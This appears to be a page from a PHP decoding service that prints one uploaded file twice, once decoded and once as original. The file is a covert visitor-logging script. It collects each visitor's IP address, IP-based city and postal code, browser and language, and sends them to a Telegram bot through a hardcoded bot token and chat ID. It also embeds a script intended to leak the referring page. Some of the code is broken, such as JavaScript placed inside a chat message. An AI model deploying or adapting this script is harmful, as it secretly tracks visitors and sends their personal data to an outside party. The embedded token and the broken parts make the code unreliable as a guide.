Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php // Replace 'YOUR_BOT_TOKEN' and 'YOUR_CHAT_ID' with your actual bot token and chat ..

Decoded Output download

<?php 
// Replace 'YOUR_BOT_TOKEN' and 'YOUR_CHAT_ID' with your actual bot token and chat ID 
$botToken = '6796242426:AAE3DeteahkDfI17lHaz2zmmAjpYc5H7GfM'; 
$chatID = '5369574845'; 
 
// Get the user's IP address considering proxies 
$userIP = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']; 
 
// Get the user's geolocation based on their IP address using ipinfo.io API 
$geolocation = getGeolocationFromIP($userIP); 
 
// Get the user agent string (browser information) 
$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'N/A'; 
 
// Get the user's language preference 
$userLanguage = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : 'N/A'; 
 
// Prepare the message 
$message = "User's IP address: $userIP
"; 
$message .= "Geolocation: {$geolocation['city']}, {$geolocation['region']}, {$geolocation['country']}
"; 
$message .= "Zip Code: {$geolocation['postal']}
"; 
$message .= "User Agent: $userAgent
"; 
$message .= "Language: $userLanguage
"; 
 
// Create a link for the user to share their location on a map 
$locationLink = "https://t.me/$botToken?start=location"; 
$message .= "
[Share Your Location]($locationLink)"; 
 
// Add JavaScript to capture the last visited website and send it to the bot 
$message .= "

<script> 
    var lastVisitedURL = document.referrer; 
    var xhttp = new XMLHttpRequest(); 
    xhttp.onreadystatechange = function() { 
        if (this.readyState == 4 && this.status == 200) { 
            console.log('Last Visited URL sent to server'); 
        } 
    }; 
    xhttp.open('GET', 'save_last_visited.php?url=' + encodeURIComponent(lastVisitedURL), true); 
    xhttp.send(); 
</script>"; 
 
// Telegram API URL 
$telegramApiUrl = "https://api.telegram.org/bot$botToken/sendMessage"; 
 
// Set up the data to be sent 
$data = [ 
    'chat_id' => $chatID, 
    'text' => $message, 
    'parse_mode' => 'Markdown', 
]; 
 
// Use cURL to send the message to the Telegram bot 
$ch = curl_init($telegramApiUrl); 
curl_setopt($ch, CURLOPT_POST, 1); 
curl_setopt($ch, CURLOPT_POSTFIELDS, $data); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
 
// Execute the cURL request 
$result = curl_exec($ch); 
 
// Close cURL session 
curl_close($ch); 
 
// Check for errors 
if ($result === false) { 
    // Handle the error, e.g., log it 
    error_log('Error sending message to Telegram: ' . curl_error($ch)); 
} else { 
    // Message sent successfully 
    echo ''; 
} 
 
// Function to get geolocation from the user's IP address using ipinfo.io API 
function getGeolocationFromIP($ip) { 
    // Use ipinfo.io API to get location information based on the IP address 
    $ipinfoApiUrl = "http://ipinfo.io/$ip/json"; 
    $response = file_get_contents($ipinfoApiUrl); 
 
    // Decode the JSON response 
    $data = json_decode($response, true); 
 
    // Extract and return relevant information 
    return [ 
        'city' => isset($data['city']) ? $data['city'] : 'N/A', 
        'region' => isset($data['region']) ? $data['region'] : 'N/A', 
        'country' => isset($data['country']) ? $data['country'] : 'N/A', 
        'postal' => isset($data['postal']) ? $data['postal'] : 'N/A', 
    ]; 
} 
?> 

Did this file decode correctly?

Original Code

<?php
// Replace 'YOUR_BOT_TOKEN' and 'YOUR_CHAT_ID' with your actual bot token and chat ID
$botToken = '6796242426:AAE3DeteahkDfI17lHaz2zmmAjpYc5H7GfM';
$chatID = '5369574845';

// Get the user's IP address considering proxies
$userIP = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];

// Get the user's geolocation based on their IP address using ipinfo.io API
$geolocation = getGeolocationFromIP($userIP);

// Get the user agent string (browser information)
$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'N/A';

// Get the user's language preference
$userLanguage = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : 'N/A';

// Prepare the message
$message = "User's IP address: $userIP\n";
$message .= "Geolocation: {$geolocation['city']}, {$geolocation['region']}, {$geolocation['country']}\n";
$message .= "Zip Code: {$geolocation['postal']}\n";
$message .= "User Agent: $userAgent\n";
$message .= "Language: $userLanguage\n";

// Create a link for the user to share their location on a map
$locationLink = "https://t.me/$botToken?start=location";
$message .= "\n[Share Your Location]($locationLink)";

// Add JavaScript to capture the last visited website and send it to the bot
$message .= "\n\n<script>
    var lastVisitedURL = document.referrer;
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            console.log('Last Visited URL sent to server');
        }
    };
    xhttp.open('GET', 'save_last_visited.php?url=' + encodeURIComponent(lastVisitedURL), true);
    xhttp.send();
</script>";

// Telegram API URL
$telegramApiUrl = "https://api.telegram.org/bot$botToken/sendMessage";

// Set up the data to be sent
$data = [
    'chat_id' => $chatID,
    'text' => $message,
    'parse_mode' => 'Markdown',
];

// Use cURL to send the message to the Telegram bot
$ch = curl_init($telegramApiUrl);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Execute the cURL request
$result = curl_exec($ch);

// Close cURL session
curl_close($ch);

// Check for errors
if ($result === false) {
    // Handle the error, e.g., log it
    error_log('Error sending message to Telegram: ' . curl_error($ch));
} else {
    // Message sent successfully
    echo '';
}

// Function to get geolocation from the user's IP address using ipinfo.io API
function getGeolocationFromIP($ip) {
    // Use ipinfo.io API to get location information based on the IP address
    $ipinfoApiUrl = "http://ipinfo.io/$ip/json";
    $response = file_get_contents($ipinfoApiUrl);

    // Decode the JSON response
    $data = json_decode($response, true);

    // Extract and return relevant information
    return [
        'city' => isset($data['city']) ? $data['city'] : 'N/A',
        'region' => isset($data['region']) ? $data['region'] : 'N/A',
        'country' => isset($data['country']) ? $data['country'] : 'N/A',
        'postal' => isset($data['postal']) ? $data['postal'] : 'N/A',
    ];
}
?>

Function Calls

None

Variables

None

Stats

MD5 4d86b5f7b743128c0300b265f95c093e
Eval Count 0
Decode Time 41 ms